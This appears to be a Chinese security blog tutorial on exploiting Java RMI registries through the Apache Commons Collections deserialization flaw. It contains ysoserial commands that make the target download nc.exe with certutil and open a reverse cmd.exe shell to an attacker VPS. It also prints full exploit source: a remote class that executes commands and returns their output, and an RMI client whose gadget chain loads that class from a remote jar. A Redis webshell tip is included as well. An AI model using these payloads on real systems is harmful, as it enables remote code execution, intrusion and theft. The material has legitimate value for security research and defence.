Java RMI 利用入门学习

VSole2021-09-19 14:04:35

Windows中遇到了Java RMI,反弹又不那么方便,这时该如何利用呢?It’s a question。正好加强Java学习了。

预备知识理解

Java

RMI——Java远程调用提供了不同机器之间进行对象方法访问的能力,这样的构架允许一台机器的对象访问另一台机器的对象方法,而这种远程调用必然需要传递对象数据结构,因此就需要序列化和反序列化,在此过程中,如果服务器上可以被使用的对象存在漏洞,通过客户端构造相应的序列化数据就可以触发漏洞。

Apache Common Collections

Java的第三方库,提供更加强大的集合数据结构。它的一段代码中存在调用方法和对象可控的情况,因此可以实现命令执行。在这种情况下,这个第三方包无论用或者没用,都有可能被开发者打包进程序,成为程序中存在的对象,结合RMI机制,攻击者就有可能调用到这些危险的对象。

Java 8版本121更新后对RMI注册类进行了限制,因此需要寻找白名单内的类存在漏洞的情况,参考文献中列出了收集到的解决方法。

测试环境搭建

避开Java版本的坑之后,测试环境很好完成,写一个RMI服务器,放入Common Collections第三方包,启动服务器即可,详细实现代码如下:

RMIInterface 接口

import java.rmi.Remote;import java.rmi.RemoteException;
public interface RMIInterface extends Remote {    String sayHello() throws RemoteException;}

RMIServer 服务器

import java.rmi.Remote;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.UnicastRemoteObject;
public class RMIServer implements RMIInterface {    public String sayHello() {        return "Hello World!";    }
    public static void main(String args[]) {        try {            RMIServer obj = new RMIServer();      RMIInterface stub = (RMIInterface) UnicastRemoteObject.exportObject((Remote) obj, 0);      LocateRegistry.createRegistry(1099);      Registry registry = LocateRegistry.getRegistry();      registry.bind("Hello", stub);      System.out.println("Server Start!");        } catch (Exception e) {      e.printStackTrace();    }    }}
再将Common Collections放入开发环境的External lib中。这样启动起来的服务器已经可以被用来测试漏洞了。

Ysoserial工具与测试利用

java -cp .\ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsColections1 "calc"

网上最常见的用法,我们对这条命令逐个分析。

作为一款通用的Java反序列化利用工具,Yso具有广泛的功能,我们这里主要聚焦于它的exploit和payloads两部分。

由上面的分析我们知道,这一类的漏洞需要两部分来完成,协议交互部分完成与服务器的交互,这一部分由exploit来完成,payloads则提供进行反序列化的对象以及相应的攻击功能。

exploit中重点来看RMIRegistryExploit的代码,另外会尝试运行JRMPClient和JRMPListener,先知也有相关模块的分析文章。

RMIRegistryExploit,从名字就可以看出,主要是通过RMI的Registry来进行交互。main函数部分就是一个和RMI服务器进行通信的客户端

其中exploit函数负责生成类的实例,并且嵌入执行命令,再使用动态代理的方式进行传递。

再来看CommonsColections1的部分,核心的部分在getObject中,这里实际上就是走了一遍CommonsCollection RCE的链,将用户的执行命令放入到相应的对象调用中,再经过序列化处理。

##0x03 如何在Windows下实现回显命令执行

DNS查询很容易,但是如何能够更好的执行命令并回显呢?

在当时测试的时候,为了快捷,使用了远程下载nc+执行nc反弹的方式回弹shell。

java -cp .\ysoserial.jar ysoserial.exploit.RMIRegistryExploit 测试机器IP 1099CommonsCollections1 "certutil -urlcache -split -f http://VPS IP/nc.exe"
java -cp .\ysoserial.jar ysoserial.exploit.RMIRegistryExploit 测试机器IP 1099CommonsCollections1 "D:\c.exe -t -e c:\\windows\\system32\\cmd.exe VPS-IP 65534"

后来查询资料发现了其他能够回显的玩法,基本有以下几种想法,

  1. 能否在这里执行java代码,利用java的方式直接反弹shell
  2. 利用URLClassLoader,远程加载自定义类,接收到报错返回的执行结果。

具体代码如下(来自先知社区),首先是远程加载的自定义类

ErrorBaseExec.jar

package exploit;
import java.io.*;
public class ErrorBaseExec {    public static byte[] readBytes(InputStream in) throws IOException {        BufferedInputStream bufin = new BufferedInputStream(in);        int buffSize = 1024;        ByteArrayOutputStream out = new ByteArrayOutputStream(buffSize);        byte[] temp = new byte[buffSize];        int size = 0;
        while ((size = bufin.read(temp)) != -1) {            out.write(temp, 0, size);        }
        bufin.close();
        byte[] content = out.toByteArray();
        return content;    }
    public static void do_exec(String cmd) throws Exception {
        final Process p = Runtime.getRuntime().exec(cmd);        final byte[] stderr = readBytes(p.getErrorStream());        final byte[] stdout = readBytes(p.getInputStream());        final int exitValue = p.waitFor();
        if (exitValue == 0) {            throw new Exception("-----------------\r" + (new String(stdout)) + "-----------------\r");        } else {            throw new Exception("-----------------\r" + (new String(stderr)) + "-----------------\r");        }
    }
    public static void main(final String[] args) throws Exception {        do_exec("whoami");    }}
RMIexploit

import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;
import java.net.URLClassLoader;
import java.rmi.Remote;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;
import java.util.HashMap;import java.util.Map;

public class RMIexploit {    public static Constructor getFirstCtor(final String name)            throws Exception {        final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0];        ctor.setAccessible(true);
        return ctor;    }
    public static void main(String[] args) throws Exception {        if (args.length < 4) {            System.out.println(                    "        Usage: java -jar RMIexploit.jar ip port jarfile command");            System.out.println(                    "        Example: java -jar RMIexploit.jar 123.123.123.123 1099 http://1.1.1.1.1/ErrorBaseExec.jar \"ls -l\"");
            return;        }
        String ip = args[0];        int port = Integer.parseInt(args[1]);        String remotejar = args[2];        String command = args[3];        final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
        try {            final Transformer[] transformers = new Transformer[] {                    new ConstantTransformer(java.net.URLClassLoader.class),                    new InvokerTransformer("getConstructor",                            new Class[] { Class[].class },                            new Object[] { new Class[] { java.net.URL[].class } }),                    new InvokerTransformer("newInstance",                            new Class[] { Object[].class },                            new Object[] {                                    new Object[] {                                            new java.net.URL[] { new java.net.URL(remotejar) }                                    }                            }),                    new InvokerTransformer("loadClass",                            new Class[] { String.class },                            new Object[] { "exploit.ErrorBaseExec" }),                    new InvokerTransformer("getMethod",                            new Class[] { String.class, Class[].class },                            new Object[] { "do_exec", new Class[] { String.class } }),                    new InvokerTransformer("invoke",                            new Class[] { Object.class, Object[].class },                            new Object[] { null, new String[] { command } })            };            Transformer transformedChain = new ChainedTransformer(transformers);            Map innerMap = new HashMap();            innerMap.put("value", "value");
            Map outerMap = TransformedMap.decorate(innerMap, null,                    transformedChain);            Class cl = Class.forName(                    "sun.reflect.annotation.AnnotationInvocationHandler");            Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);            ctor.setAccessible(true);
            Object instance = ctor.newInstance(Target.class, outerMap);            Registry registry = LocateRegistry.getRegistry(ip, port);            InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS)                    .newInstance(Target.class,                            outerMap);            Remote r = Remote.class.cast(Proxy.newProxyInstance(                    Remote.class.getClassLoader(),                    new Class[] { Remote.class }, h));            registry.bind("pwned", r);        } catch (Exception e) {            try {                System.out.print(e.getCause().getCause().getCause().getMessage());            } catch (Exception ee) {                throw e;            }        }    }}

打包之后执行回显成功回显,我编译的时候还遇到两个问题,一个是需要满足JDK的版本要求,如果服务器JDK版本太低,客户端太高时会报版本不匹配;另一个是命令执行回显过多时会无法返回信息,还需调整。

Redis Windows下写shell的小tip

Redis在进行持久化的时候,默认会进行压缩,由于压缩导致写入的字符串存在乱码,有些乱码会影响文件解析,这时我们可以通过以下命令取消压缩。

config set rdbcompression no

参考

Apache Common Collections相关知识详细参照这篇博客:``https://security.tencent.com/index.php/blog/msg/97

绕过升级机制:http://www.codersec.net/2018/09/%E4%B8%80%E6%AC%A1%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91rmi%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B7%B1%E6%80%9D/

Github上一个不错的Java漏洞项目:https://github.com/JoyChou93/java-sec-code

命令执行回显:https://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/

先知社区里的回显代码:https://xz.aliyun.com/t/2223

stringrmi
本作品采用《CC 协议》,转载必须注明作者和本文链接
JNDI漏洞利用探索
2022-01-23 19:33:23
最近学习了浅蓝师傅寻找的一些JNDI漏洞的利用链受益匪浅,自己也尝试关于JNDI漏洞利用做一些挖掘,目前JN
java安全-02RMI
2022-03-25 15:35:13
基础知识动态代理反射攻击方式注册端攻击服务端java -cp .\ysoserial-master-8eb5
Java RMI 利用入门学习
2021-09-19 14:04:35
Windows中遇到了Java RMI,反弹又不那么方便,这时该如何利用呢?It’s a question。正好加强Java学习了。
本文作者Betta,首发于火线Zone安全社区。
Java命名和目录接口是Java编程语言中接口的名称( JNDI )。它是一个API(应用程序接口),与服务器一起工作,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。 可以使用命名约定从数据库获取文件。JNDI为Java⽤户提供了使⽤Java编码语⾔在Java中搜索对象的⼯具。 简单来说呢,JNDI相当与是Java里面的一个api,它可以通过命名来查找数据和对象。
RMI存在着三个主体RMI RegistryRMI ClientRMI Server
深入理解 RMI 之漏洞原理篇环境是 jdk8u65本文侧重于理解原理,攻击篇会放到后续一篇中讲。0x01 前言RMI 作为后续漏洞中最为基本的利用手段之一,学习的必要性非常之大。RMI 依赖的通信协议为 JRMP,该协议为 Java 定制,要求服务端与客户端都为 Java 编写。这个协议就像 HTTP 协议一样,规定了客户端和服务端通信要满足的规范。
该漏洞是继CVE-2015-4852、CVE-2016-0638、CVE-2016-3510之后的又一个重量级反序列化漏洞。
笔者继续带大家炒Fastjson的冷饭。关于漏洞分析和利用链分析文章网上已有大量,但是关于如何自动化检测的文章还是比较少见的,尤其是如何不使用Java对Fastjson做检测。
通过common-collection相关gadget,想办法调用org.mozilla.classfile.DefiningClassLoader这个类去加载字节码。然后通过T3协议的反序列化漏洞发送给待攻击weblogic服务器。
VSole
网络安全专家